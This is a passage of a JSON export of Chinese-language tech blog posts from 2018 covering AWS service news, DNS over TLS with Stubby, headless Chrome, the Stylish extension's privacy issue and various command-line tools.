    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 在非洲的第一個節點開在南非的約翰尼斯堡 (Johannesburg)：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/06/cloudfront-expands-into-africa/\">Amazon CloudFront Expands into Africa with new Edge Location in Johannesburg and first Edge Location in Bangalore</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/t2nsoXn.webp\" /><img src=\"https://i.gslin.com/imgur/t2nsoXn.jpg\" alt=\"\" /></picture>\r\n\r\n這樣各大洲都有點了...",
    "title": "CloudFront 開非洲節點了..."
  },
  {
    "id": "8375",
    "body": "跑 cron job 的時候，希望程式有問題的時候通知管理者 (或是執行者)，這個可以透過 <a href=\"https://packages.ubuntu.com/search?keywords=moreutils\">moreutils</a> 內的 <a href=\"http://manpages.ubuntu.com/manpages/xenial/man1/chronic.1.html\">chronic</a> 來達成：\r\n\r\n<blockquote>chronic - runs a command quietly unless it fails</blockquote>\r\n\r\nchronic 會將 stdout 與 stderr 的輸出結果暫存起來，如果程式正常結束 (exit 0) 就不管他，但如果有問題的時候就會 output 出來 (exit 不是 0，或是 crash)，而 cron 在收到 stdout/stderr 有東西時，會寄信給管理者或是執行者，這剛好就是我們要的行為。\r\n\r\n算是很好用的指令，沒事你不會想管他輸出什麼啊... XD",
    "title": "當程式沒問題時就會吃掉輸出的 chronic"
  },
  {
    "id": "8377",
    "body": "在 <a href=\"https://trac.edgewall.org/\">Trac</a> 的 <a href=\"https://trac-hacks.org/wiki/DefaultCcPlugin\">DefaultCcPlugin</a> 裡有個很喜歡用的 feature：改 component 後會自動增加該 component 的 cc list。但這在 <a href=\"https://trac-hacks.org/changeset/13747\">Changeset 13747</a> 被「修正」掉了：\r\n\r\n<blockquote>0.3dev: Only append to CC field when ticket is created. Fixes #11624.\r\nPreviously the CC field would be modified on Preview and during any ticket change, however these would often go undetected since the field is de-duplicated on save.</blockquote>\r\n\r\n而這個 plugin 還是用 <a href=\"https://subversion.apache.org/\">Subversion</a> 管理，本來找了一堆 svn2git 的工具，後來發現 <a href=\"https://git-scm.com/\">Git</a> 所以靠 <a href=\"https://git-scm.com/docs/git-svn\">git-svn</a> 拉下來再改，然後再丟出來：「<a href=\"https://github.com/gslin/defaultccplugin\">gslin/defaultccplugin</a>」。",
    "title": "DefaultCcPlugin 改 Component 不會增加 Cc 列表的問題..."
  },
  {
    "id": "8378",
    "body": "透過 <a href=\"https://en.wikipedia.org/wiki/DNS_over_TLS\">DNS over TLS</a> 會損失一些效能 (我用 VDSL 的光世代測試，大約是從 10ms 變成 40ms)，但可以讓 ISP 看不到你查詢什麼，對於隱私有很大的幫助... 而先前是一直在看 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 上的 <a href=\"https://unbound.net/\">Unbound</a> 什麼時候會有 1.8.0+ 的版本可以用 (支援 DNS-over-TLS)，但一直沒看到，結果在「<a href=\"https://www.linuxbabe.com/ubuntu/ubuntu-stubby-dns-over-tls\">How to Protect Your DNS Privacy on Ubuntu 18.04 with DNS over TLS</a>」這邊看到 Stubby 這個軟體。\r\n\r\nStubby 在 Ubuntu 18.04 上可以直接裝，但在 Ubuntu 16.04 上需要透過 PPA 裝，我是透過「<a href=\"https://launchpad.net/~jrnewell/+archive/ubuntu/dns\">DNS Utils : James Newell</a>」這個安裝的，裝好後 <code>/etc/stubby/stubby.yml</code> 檔裡 <code>upstream_recursive_servers</code> 的設定改成：\r\n\r\n<pre>upstream_recursive_servers:\r\n  - address_data: 1.1.1.1\r\n    tls_auth_name: \"cloudflare-dns.com\"\r\n  - address_data: 1.0.0.1\r\n    tls_auth_name: \"cloudflare-dns.com\"</pre>\r\n\r\n就可以走 port 853 的 DNS over TLS 了，而 Stubby 預設會聽 <code>127.0.0.1</code> 與 <code>::1</code> 的 port 53，所以把 <code>/etc/resolv.conf</code> 或是 <a href=\"https://en.wikipedia.org/wiki/NetworkManager\">NetworkManager</a> 的設定改成 <code>127.0.0.1</code> 就可以了。\r\n\r\n目前這樣設看起來沒辦法擋 MITM attack (偽造 SSL certificate)，Stubby 看起來只能用 <code>tls_pubkey_pinset</code> 鎖住，但實在不愛這個方法 (因為 Cloudflare 有可能會換成其他的 SSL certificate)，之後看看有沒有可以吃 Root CA 架構的認證再來調整...",
    "title": "用 Stubby 在 Ubuntu 上跑 DNS over TLS"
  },
  {
    "id": "8380",
    "body": "在上一篇提到 <a href=\"https://en.wikipedia.org/wiki/DNS_over_TLS\">DNS over TLS</a> 的「<a href=\"https://blog.gslin.org/archives/2018/06/25/8378/%E7%94%A8-stubby-%E5%9C%A8-ubuntu-%E4%B8%8A%E8%B7%91-dns-over-tls/\">用 Stubby 在 Ubuntu 上跑 DNS over TLS</a>」這篇，裡面 Gholk 留言提到：\r\n\r\n<blockquote>可是 isp 還是可以從你接下來要去的 ip 知道你查了什麼吧？除非是 http proxy 多個域名一個 ip.</blockquote>\r\n\r\n在「<a href=\"https://serverfault.com/questions/440363/does-sni-represent-a-privacy-concern-for-my-website-visitors\">Does SNI represent a privacy concern for my website visitors?</a>」這邊提到了 <a href=\"https://en.wikipedia.org/wiki/Server_Name_Indication\">SNI</a> 對隱私的問題，但他的想法剛好跟這個主題有關。\r\n\r\n現代的瀏覽器架構使得使用者要在網路上保護自己很難 (這邊指的是隱私)，但我們還是會利用各種方式加高 ISP 的難度，而這邊通常指的是成本：在 <code>168.95.1.1</code> 與 <code>168.95.192.1</code> 上面記錄並且分析的成本，會比在所有的出口或是骨幹上面截聽封包的成本來的低很多，所以會走 DNS over TLS。",
    "title": "DNS over TLS 的 Privacy 改善"
  },
  {
    "id": "8383",
    "body": "前陣子發現 <a href=\"https://24h.pchome.com.tw/\">PChome 24h</a> 的輕小說 Atom feed 掛掉了 (在 <a href=\"https://github.com/gslin/pchome24h-feed\">gslin/pchome24h-feed</a> 這邊)，看了一下頁面發現換 url 了，而且從 <a href=\"https://zh.wikipedia.org/wiki/%E5%A4%A7%E4%BA%94%E7%A2%BC\">BIG5</a> 變成 <a href=\"https://zh.wikipedia.org/wiki/UTF-8\">UTF-8</a> (賀！！！)，但變成大量的 js call 產生資料產生頁面 (還不是 ajax 的 JSON)，而且有一堆奇怪的 magic number 在裡面 (感覺會因為改版就產生變化 XD)，就懶得再自己組出來了，決定玩看看 <a href=\"https://developers.google.com/web/updates/2017/04/headless-chrome\">Headless Chrome</a> 練個功...\r\n\r\n<a href=\"https://www.google.com/chrome\">Chrome</a> 從 2017 年七月的 59 版就推出了 Headless 功能 (stable channel 的時間)，也因此在去年四月的時候 <a href=\"http://phantomjs.org/\">PhantomJS</a> 就決定停止維護下去：「<a href=\"https://blog.gslin.org/archives/2017/04/16/7245/google-chrome-%E7%9A%84-headless-%E6%A8%A1%E5%BC%8F%E8%88%87-phantomjs-%E7%9A%84%E6%AD%B7%E5%8F%B2/\">Google Chrome 的 Headless 模式與 PhantomJS 的歷史</a>」。\r\n\r\n官方的文件「<a href=\"https://developers.google.com/web/updates/2017/04/headless-chrome\">Getting Started with Headless Chrome</a>」寫的很完整，而且也可以看到 Headless Chrome 把常見的功能都先實做完了。在不另外裝軟體的情況下就可以做很多事情。像是直接把生成好的 DOM 轉成 HTML 丟出來：\r\n\r\n<pre>chrome --headless --disable-gpu --dump-dom https://www.chromestatus.com/</pre>\r\n\r\n或是把頁面輸出成 PDF，或是輸出成圖片 (<code>screenshot.png</code>)：\r\n\r\n<pre>chrome --headless --disable-gpu --print-to-pdf https://www.chromestatus.com/\r\nchrome --headless --disable-gpu --screenshot https://www.chromestatus.com/</pre>\r\n\r\n也可以直接開 js console 出來互動：\r\n\r\n<pre>$ chrome --headless --disable-gpu --repl --crash-dumps-dir=./tmp https://www.chromestatus.com/\r\n[0608/112805.245285:INFO:headless_shell.cc(278)] Type a Javascript expression to evaluate or \"quit\" to exit.\r\n&gt;&gt;&gt; location.href\r\n{\"result\":{\"type\":\"string\",\"value\":\"https://www.chromestatus.com/features\"}}\r\n&gt;&gt;&gt; quit\r\n$</pre>\r\n\r\n在文件後面也提供了大量範例，教你怎麼用 <a href=\"https://docs.seleniumhq.org/\">Selenium</a> + <a href=\"https://www.seleniumhq.org/projects/webdriver/\">WebDriver</a> + ChromeDriver<a href=\"https://sites.google.com/a/chromium.org/chromedriver/\"></a> 操作，順著用裡面的範例找一下 <a href=\"https://www.python.org/\">Python</a> 會怎麼寫就寫好了... 之後也機會來測試 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 好了 :o",
    "title": "第一次拿 Headless Chrome (Chromium) 出來玩..."
  },
  {
    "id": "8384",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈可以動態擴充 <a href=\"https://aws.amazon.com/ebs/previous-generation/\">EBS (Magnetic Volume)</a> 的大小了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/06/amazon-ebs-extends-elastic-volumes-to-support-ebs-magnetic--standard--volume-type/\">Amazon EBS Extends Elastic Volumes to Support EBS Magnetic (Standard) Volume Type</a>」。EBS (Magnetic Volume) 被歸類到前個世代的產品，意外的把這個功能支援了前個世代的產品...\r\n\r\n前世代的 Magnetic Volume 與 Throughput Optimized HDD (<code>st1</code>) &amp; Cold HDD (<code>sc1</code>) 來比較起來貴了一些，但可以當作開機空間，另外低消只有 1GB (而 <code>st1</code> 與 <code>sc1</code> 是 500GB)，不過如果與 General Purpose SSD (<code>gp2</code>) 比的話，只要 I/O 有點量，整體的價錢就會超過 <code>gp2</code>，目前看起來還是用 <code>gp2</code> 會好一些...",
    "title": "EBS 可以動態擴充 Magnetic Volume 的大小了..."
  },
  {
    "id": "8385",
    "body": "在昨天的 <a href=\"https://aws.amazon.com/tw/summits/taipei/\">AWS 台北高峰會</a>上，<a href=\"https://aws.amazon.com/\">AWS</a> 的人有提到這個功能應該要正式推出了，果然在回來不久後就看到消息了：「<a href=\"https://aws.amazon.com/blogs/aws/aws-lambda-adds-amazon-simple-queue-service-to-supported-event-sources/\">AWS Lambda Adds Amazon Simple Queue Service to Supported Event Sources</a>」。\r\n\r\n<blockquote>We can now use Amazon Simple Queue Service (SQS) to trigger AWS Lambda functions! This is a stellar update with some key functionality that I’ve personally been looking forward to for more than 4 years. I know our customers are excited to take it for a spin so feel free to skip to the walk through section below if you don’t want a trip down memory lane.</blockquote>\r\n\r\n這算是 Serverless 架構下很自然會想要做的一環，當 <a href=\"https://aws.amazon.com/sqs/\">SQS</a> 裡面有東西的時候就呼叫 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 起來做事，以往一般會透過 <a href=\"https://aws.amazon.com/sns/\">SNS</a> 在中間接起來 (或是拿 <a href=\"https://aws.amazon.com/s3/\">S3</a> 惡搞，因為 S3 也可以串 Lambda...)，現在可以直接串了：\r\n\r\n<blockquote>By adding support for SQS to Lambda we’re removing a lot of the undifferentiated heavy lifting of running a polling service or creating an SQS to SNS mapping.</blockquote>\r\n\r\n這個功能本身不收費，但他需要的 SQS API call 與產生的 Lambda 當然是需要收費的：\r\n\r\n<blockquote>There are no additional charges for this feature, but because the Lambda service is continuously long-polling the SQS queue the account will be charged for those API calls at the standard SQS pricing rates.</blockquote>",
    "title": "SQS 可以打進 Lambda 了..."
  },
  {
    "id": "8386",
    "body": "在「<a href=\"https://blog.acolyer.org/2018/06/28/how-_not_-to-structure-your-database-backed-web-applications-a-study-of-performance-bugs-in-the-wild/\">How not to structure your database-backed web applications: a study of performance bugs in the wild</a>」這邊看到的，裡面提到的論文是以 <a href=\"https://rubyonrails.org/\">Rails</a> 的 ActiveRecord 分析，不過概念上還算通用...\r\n\r\n重點在最後一張 (Table 7 那張)：\r\n\r\n<img src=\"https://i.gslin.com/imgur/92ZlZBi.jpg\" alt=\"\" />\r\n\r\n看一下在腦裡留個印象，之後遇到的時候至少大概知道怎麼查...",
    "title": "ORM 常見的效能問題"
  },
  {
    "id": "8387",
    "body": "想說應該有這樣的東西，就找到「<a href=\"https://tools.ietf.org/html/new-rfcs.rss\">https://tools.ietf.org/html/new-rfcs.rss</a>」這頁，本來以為直接就是 RSS feed 了 (因為網址)，一打開來發現看起來像是個網頁，結果最上面這樣說明：\r\n\r\n<blockquote>Don't panic. This web page is actually a data file that is meant to be read by RSS reader programs.</blockquote>\r\n\r\n馬上打開來看 page source code，果然是 <a href=\"https://en.wikipedia.org/wiki/XSL\">XSL</a>！\r\n\r\n<pre>&lt;?xml-stylesheet title=\"CSS_formatting\" type=\"text/css\" href=\"css/rss.css\"?&gt;\r\n&lt;?xml-stylesheet title=\"XSL_formatting\" type=\"text/xml\" href=\"rss2html.xsl\"?&gt;</pre>\r\n\r\n好久沒看到這個了，大概是十年前想要做到資料與效果分離 (client-side rendering) 的方式...",
    "title": "RFC 的 Feed..."
  },
  {
    "id": "8390",
    "body": "看到「<a href=\"https://tools.ietf.org/html/draft-rescorla-tls-esni-00\">Encrypted Server Name Indication for TLS 1.3</a>」這個，由 <a href=\"https://www.fastly.com/\">Fastly</a>、<a href=\"https://www.cloudflare.com/\">Cloudflare</a>、<a href=\"https://www.apple.com/\">Apple</a> 的人聯手推出的 draft，想要保護 TLS 連線一開始明文傳輸的 hostname 部分。看起來是透過 DNS 發佈 public key，然後使用者用這把 public key 保護 hostname 的部分...\r\n\r\n而 DNS 的部分可以透過 <a href=\"https://en.wikipedia.org/wiki/DNS_over_TLS\">DNS over TLS</a> 或是 <a href=\"https://en.wikipedia.org/wiki/DNS_over_HTTPS\">DNS over HTTPS</a> 來保護，這樣讓 ISP 沒有任何資訊可以看到 hostname，把暴露的資訊再降低...\r\n\r\n來繼續關注這個技術...",
    "title": "保護 TLS 的 Hostname"
  },
  {
    "id": "8392",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Brad_Fitzpatrick\">Brad Fitzpatrick</a> 在他家裡弄的 HA 架構，對一般人來說是有點誇張了 (看起來主要還是玩得開心)，但對網路公司來說是個可以參考的方式，降低網路與設備故障帶來的業務衝擊... 先前在弄辦公室連外網路時也有弄過類似的架構，還蠻有趣的。\r\n\r\n然後發現原來西雅圖的電這麼便宜，一度大約 NTD$3：\r\n\r\n<blockquote>The whole setup including all APs and switches draws about 220 watts idle. Power is pretty cheap in Seattle. Washington State (as of April 2018) has the cheapest electricity in the United States, at $0.0974/kWh.</blockquote>\r\n\r\n其他技術的東西反而是看看而已 XD",
    "title": "在家裡 (???) 建立 HA 的網路環境..."
  },
  {
    "id": "8393",
    "body": "找了一下應該是舊聞了 (參考 2017 年年初，在 <a href=\"https://www.ptt.cc/\">Ptt</a> 上的「<a href=\"https://www.ptt.cc/bbs/Browsers/M.1484094884.A.FF9.html\">[-GC-] 新版 Stylish 開始蒐集使用者資訊</a>」這篇)，最近因為「<a href=\"https://robertheaton.com/2018/07/02/stylish-browser-extension-steals-your-internet-history/\">\"Stylish\" browser extension steals all your internet history</a>」這篇又被拿出來講。\r\n\r\n<img src=\"https://i.gslin.com/imgur/NyyR5bi.jpg\" alt=\"\" />\r\n\r\n目前的替代方案主要應該是 <a href=\"https://add0n.com/stylus.html\">Stylus</a>，在 <a href=\"https://www.google.com/chrome\">Chrome</a> 與 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 都有套件可以裝：<a href=\"https://chrome.google.com/webstore/detail/stylus/clngdbkpkpeebahjckkjfobafhncgmne/\">Stylus</a> (Chrome)、<a href=\"https://addons.mozilla.org/firefox/addon/styl-us/\">Stylus</a> (Firefox)。\r\n\r\n剛剛看了一下，Firefox 與 Chrome 的 extension 都已經被下架了，而且 Firefox 這邊直接設為黑名單：「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1472948\">Blocklist Stylish add-on - sends full page urls to remote server</a>」。",
    "title": "Stylish 的隱私問題"
  },
  {
    "id": "8394",
    "body": "這幾天 <a href=\"https://www.python.org/\">Python</a> 3.7.0 出了，這應該是 3.x 版第一個在一般性綜合測試有機會比 Python 2.7 快的版本。這邊拿二月時有人用 3.7 的 beta 版測試結果來看：「<a href=\"https://hackernoon.com/which-is-the-fastest-version-of-python-2ae7c61a6b2b\">Which is the fastest version of Python?</a>」。其中第一個圖就是 <a href=\"https://www.djangoproject.com/\">Django</a> 上 <code>django_html</code> (render) 的測試，Y 軸是時間，所以是愈低愈好：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AAe8Xmm.webp\" /><img src=\"https://i.gslin.com/imgur/AAe8Xmm.jpg\" alt=\"\" /></picture>\r\n\r\n其他的幾張可以看到不是完全被 Python 2.7 抓著打了，算是出頭天了 (???)，如果是用 <a href=\"https://github.com/pyenv/pyenv\">pyenv</a> 的人，把 pyenv 升級到新版後就可以安裝 3.7.0 了。",
    "title": "Python 3.7.0 以及效能"
  },
  {
    "id": "8395",
    "body": "看到 <a href=\"https://github.com/nbedos/termtosvg\">nbedos/termtosvg</a> 這個工具，可以把 Terminal 的操作錄起來，實際測試可以發現安裝跟使用都很簡單，像是我直接拿打直的螢幕來測，就會這樣：\r\n\r\n<object data=\"https://files.gslin.org/Misc/termtosvg.svg\" type=\"image/svg+xml\"></object>\r\n\r\n還不賴 XD",
    "title": "termtosvg：把 Terminal 的結果錄下來，轉成 SVG 播放"
  },
  {
    "id": "8396",
    "body": "好幾天前大家都已經知道的消息，但是一直沒有英文版的公告出來。剛剛在 <a href=\"https://twitter.com/\">Twitter</a> 上總算看到公告了 (然後裡面 <a href=\"https://aws.amazon.com/fargate/\">AWS Fargate</a> 的連結是爛的 XDDD)：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/07/aws-fargate-now-available-in-tokyo-region/\">AWS Fargate Now Available in Tokyo Region</a>」。\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">AWS Fargate is now available in Asia Pacific (Tokyo) Region. <a href=\"https://t.co/DQJyfZebxB\">https://t.co/DQJyfZebxB</a> <a href=\"https://t.co/uBm0lAC75V\">pic.twitter.com/uBm0lAC75V</a></p>&mdash; Amazon Web Services (@awscloud) <a href=\"https://twitter.com/awscloud/status/1014757137149460481?ref_src=twsrc%5Etfw\">July 5, 2018</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n有興趣的可以玩玩看 XD",
    "title": "AWS Fargate 正式在東京開業..."
  },
  {
    "id": "8397",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 這篇「<a href=\"https://www.percona.com/blog/2018/07/04/how-to-setup-replication-between-aws-aurora-external-mysql-instance/\">How to Set Up Replication Between AWS Aurora and an External MySQL Instance</a>」講怎麼設定 <a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a>，把資料同步到外部的 MySQL instance。\r\n\r\n其中最重要的應該是你需要透過 snapshot 建出 consistent backup，然後用這份資料去接 Aurora 的 master server：\r\n\r\n<blockquote>Create a snapshot and restore it (create a new instance from a snapshot). This is only needed to make a consistent copy with mysqldump. As Aurora does not allow “super” privileges, running <code>mysqldump --master-data</code>  is not possible. The snapshot is the only way to get a consistent backup with the specific binary log position.</blockquote>\r\n\r\n能拉出來後續就能做很多事情...",
    "title": "從 Aurora 同步到 EC2 上的 MySQL"
  },
  {
    "id": "8398",
    "body": "今天被提到說 <a href=\"https://www.vultr.com/\">Vultr</a> 開放 USD$2.5/month 的機器又開放了，但是限制 IPv6 only：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/JbejXVn.webp\" /><img src=\"https://i.gslin.com/imgur/JbejXVn.jpg\" alt=\"\" /></picture>\r\n\r\n對於網站來說，可以在前面擋個 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 之類的服務當作 IPv4 proxy 來解，應該是還不錯...",
    "title": "Vultr 又開放 USD$2.5/month 的機器了，限制 IPv6 only..."
  },
  {
    "id": "8400",
    "body": "<a href=\"https://github.com/timqian/hacker-job-trends\">timqian/hacker-job-trends</a> 這個用 <a href=\"https://nodejs.org/\">Node.js</a> 開發的專案是針對 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「Ask HN: Who is Hiring?」分析 (每個月一篇，拿來提供各家人馬留 comment 徵才的)，把關鍵字丟進程式，程式就會分析每個月的出現數量，在 terminal 上產生趨勢圖表。而且支援加法或是減法計算，可以用在去掉重複的字 (像是 <code>java</code> 與 <code>javascript</code>)。\r\n\r\n遠端工作的量慢慢增加：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pLbJAlj.webp\" /><img src=\"https://i.gslin.com/imgur/pLbJAlj.jpg\" alt=\"\" /></picture>\r\n\r\n而區塊練的量也在增加：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uZQtBME.webp\" /><img src=\"https://i.gslin.com/imgur/uZQtBME.jpg\" alt=\"\" /></picture>\r\n\r\n裝起來後看 <code>php</code> 的量好慘啊 XDDD",
    "title": "對每個月一次的「Ask HN: Who is Hiring?」分析"
  },
  {
    "id": "8401",
    "body": "最近幾天看到「<a href=\"https://www.brow.sh/\">Browsh is a fully-modern text-based browser.</a>」這個專案，在 terminal 下跑的瀏覽器，而且宣稱支援現代網頁的各種標準：\r\n\r\n<img src=\"https://i.gslin.com/imgur/id0dOxP.jpg\" alt=\"\" />\r\n\r\n不過實際上後端是接 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a>，並不是他自己處理所有的內容：\r\n\r\n<blockquote>Browsh is available as a small (~2.5MB) static binary on all major platforms. The only dependency is a recent 57+ version of Firefox.</blockquote>\r\n\r\n這樣還是超吃資源的，是個好玩為主的專案...",
    "title": "在 Terminal 下的瀏覽器 Browsh"
  },
  {
    "id": "8402",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 加了四個點：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Amazon CloudFront announces four new Edge locations, including its first location in Cape Town, South Africa! ??<a href=\"https://t.co/9fXgdgp9jL\">https://t.co/9fXgdgp9jL</a> <a href=\"https://t.co/5O7yYlkBZR\">pic.twitter.com/5O7yYlkBZR</a></p>&mdash; Amazon Web Services (@awscloud) <a href=\"https://twitter.com/awscloud/status/1017331854234587137?ref_src=twsrc%5Etfw\">July 12, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n點進去後發現這四個點包括了台北：\r\n\r\n<blockquote>Amazon CloudFront announces four new Edge locations: Cape Town, South Africa; Denver, Colorado; Frankfurt, Germany; and Taipei, Taiwan.</blockquote>\r\n\r\n在 CloudFront 的列表裡也增加到三個點：\r\n\r\n<blockquote>Bangalore, India; Chennai, India (2); Hong Kong, China (3); Kuala Lumpur, Malaysia; Mumbai, India (2); Manila, Philippines; New Delhi, India; Osaka, Japan; Seoul, South Korea (4); Singapore (3); <strong>Taipei, Taiwan(3)</strong>; Tokyo, Japan (8)</blockquote>\r\n\r\n這樣應該可以再減少被導去海外節點的機會 (通常是香港或日本)，不過狀況會怎麼樣還要再觀察... 先前加第二個點後，觀察到的現象是有減少，但還是會發生。現在加到第三個後不知道會不會解決...",
    "title": "CloudFront 在台北增加第三個點..."
  },
  {
    "id": "8403",
    "body": "看到「<a href=\"https://github.com/chubin/cheat.sh\">chubin/cheat.sh</a>」這個服務：\r\n\r\n<blockquote>the only cheat sheet you need</blockquote>\r\n\r\n他提供了 HTTP(S) 介面讓你存取 (透過 <a href=\"https://curl.haxx.se/\">curl</a> 或是其他的軟體)，像是這樣的操作：\r\n\r\n<img src=\"https://i.gslin.com/imgur/b88trt7.gif\" alt=\"\" />\r\n\r\n而且提供了 shell script 讓你可以更方便在 command line 下使用：\r\n\r\n<pre>curl https://cht.sh/:cht.sh &gt; ~/bin/cht.sh\r\nchmod +x ~/bin/cht.sh</pre>\r\n\r\n你可以把 <code>cht.sh</code> 換成其他你喜歡的名字，或是用 alias 方便操作...",
    "title": "提供 Cheatsheet 的服務：cheat.sh"
  },
  {
    "id": "8404",
    "body": "兩篇 <a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 的消息：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/07/amazon-elastic-file-system-amazon-efs-available-in-asia-pacific-tokyo-region/\">Amazon Elastic File System (Amazon EFS) Available in Asia Pacific (Tokyo) Region</a>」、「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/07/amazon-efs-now-supports-provisioned-throughput/\">Amazon EFS Now Supports Provisioned Throughput</a>」。\r\n\r\n在 <code>ap-northeast-1</code> 等很久的功能終於上線了，另外本來 EFS 對速度是有限制的，現在則是提供付費方案讓你可以確保效能... (採用 credit 架構，不過一般是夠用的... 空間在 1TB 以下可以 burst 到 100MB/sec，參考「<a href=\"https://docs.aws.amazon.com/efs/latest/ug/throughput-modes.html\">Throughput Modes</a>」這篇的說明)\r\n\r\n這樣有蠻多架構可以花錢來解了...",
    "title": "Amazon EFS 開放東京區使用，提供 Provisioned Throughput"
  },
  {
    "id": "8406",
    "body": "以往用 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSSnapshots.html\">Amazon EBS Snapshot</a> 需要用 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 當 cron job 建立 snapshot，以及管理要存的數量 (要刪掉舊的)，現在 <a href=\"https://aws.amazon.com/\">AWS</a> 直接提供服務幫你處理：「<a href=\"https://aws.amazon.com/blogs/aws/new-lifecycle-management-for-amazon-ebs-snapshots/\">New – Lifecycle Management for Amazon EBS Snapshots</a>」。文章的截圖就說明了這個新功能：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cuEFQAa.webp\" /><img src=\"https://i.gslin.com/imgur/cuEFQAa.jpg\" alt=\"\" /></picture>\r\n\r\n不收另外的費用，不過目前只有開放三區，東京不在裡面：\r\n\r\n<blockquote>You can create and use Data Lifecyle Manager policies at no charge; you pay the usual storage charges for the EBS snapshots that it creates.</blockquote>\r\n\r\n<blockquote>Data Lifecycle Manager is available in the US East (N. Virginia), US West (Oregon), and EU (Ireland) Regions.</blockquote>\r\n\r\n先繼續用 Lambda，等東京有的時候再換過去...",
    "title": "Amazon EBS Snapshot 支援 Lifecycle Management"
  },
  {
    "id": "8407",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"http://jeff-barr.com/\">Jeff Barr</a> 提到 <a href=\"https://aws.amazon.com/translate/\">Amazon Translate</a> 支援繁體中文與日文的消息：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Amazon Translate Adds Support for Japanese, Russian, Italian, Traditional Chinese, Turkish, and Czech - <a href=\"https://t.co/J8lCdJ7ygJ\">https://t.co/J8lCdJ7ygJ</a> <a href=\"https://twitter.com/hashtag/AWS?src=hash&amp;ref_src=twsrc%5Etfw\">#AWS</a> <a href=\"https://t.co/GYyygw46Jt\">pic.twitter.com/GYyygw46Jt</a></p>&mdash; Jeff Barr ☁️ (@jeffbarr) <a href=\"https://twitter.com/jeffbarr/status/1019231395921608705?ref_src=twsrc%5Etfw\">July 17, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\nconsole 上也可以測試：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oVNxIor.webp\" /><img src=\"https://i.gslin.com/imgur/oVNxIor.jpg\" alt=\"\" /></picture>\r\n\r\n翻了一下價錢：\r\n\r\n<blockquote>Amazon Translate is priced at $15 per million characters ($0.000015 per character).</blockquote>\r\n\r\n定價與其他服務相比算是中間... 隔壁<a href=\"https://www.microsoft.com/\">微軟</a>的 <a href=\"https://azure.microsoft.com/en-us/services/cognitive-services/translator-text-api/\">Translator Text API</a> 的 PAY AS YOU GO 方案是 $10 (Per million characters)，如果有量的話會降更多。而 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://cloud.google.com/translate/\">Cloud Translate</a> 則是 $20 per 1,000,000 characters。",
    "title": "Amazon Translate 支援繁體中文！"
  },
  {
    "id": "8408",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈提高了 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 的效能：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/07/amazon-s3-announces-increased-request-rate-performance/\">Amazon S3 Announces Increased Request Rate Performance</a>」。\r\n\r\n每個 S3 prefix 都可以到 5500 RPS read 與 3500 RPS write：\r\n\r\n<blockquote>Amazon S3 now provides increased performance to support up to 3,500 requests per second to add data and 5,500 requests per second to retrieve data, which can save significant processing time for no additional charge. Each S3 prefix can support these request rates, making it simple to increase performance exponentially.</blockquote>\r\n\r\n舊的資料可以看「<a href=\"https://web.archive.org/web/20171229062058/http://docs.aws.amazon.com:80/AmazonS3/latest/dev/request-rate-perf-considerations.html\">Request Rate and Performance Considerations</a>」這邊，裡面沒有明講速度，但有提到如果超過 800 RPS read 與 300 RPS write 的門檻，建議開 case：\r\n\r\n<blockquote>However, if you expect a rapid increase in the request rate for a bucket to more than 300 PUT/LIST/DELETE requests per second or more than 800 GET requests per second, we recommend that you open a support case to prepare for the workload and avoid any temporary limits on your request rate.</blockquote>\r\n\r\n不過如果有量的話，還是建議照著原來的 prefix 建議，打散處理會比較好，通常在前面的 CDN 通常可以跑簡單的 url rewrite 處理掉 (像是 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 自家或是 <a href=\"https://www.cloudflare.com/\">Cloudflare</a>)，像是把使用 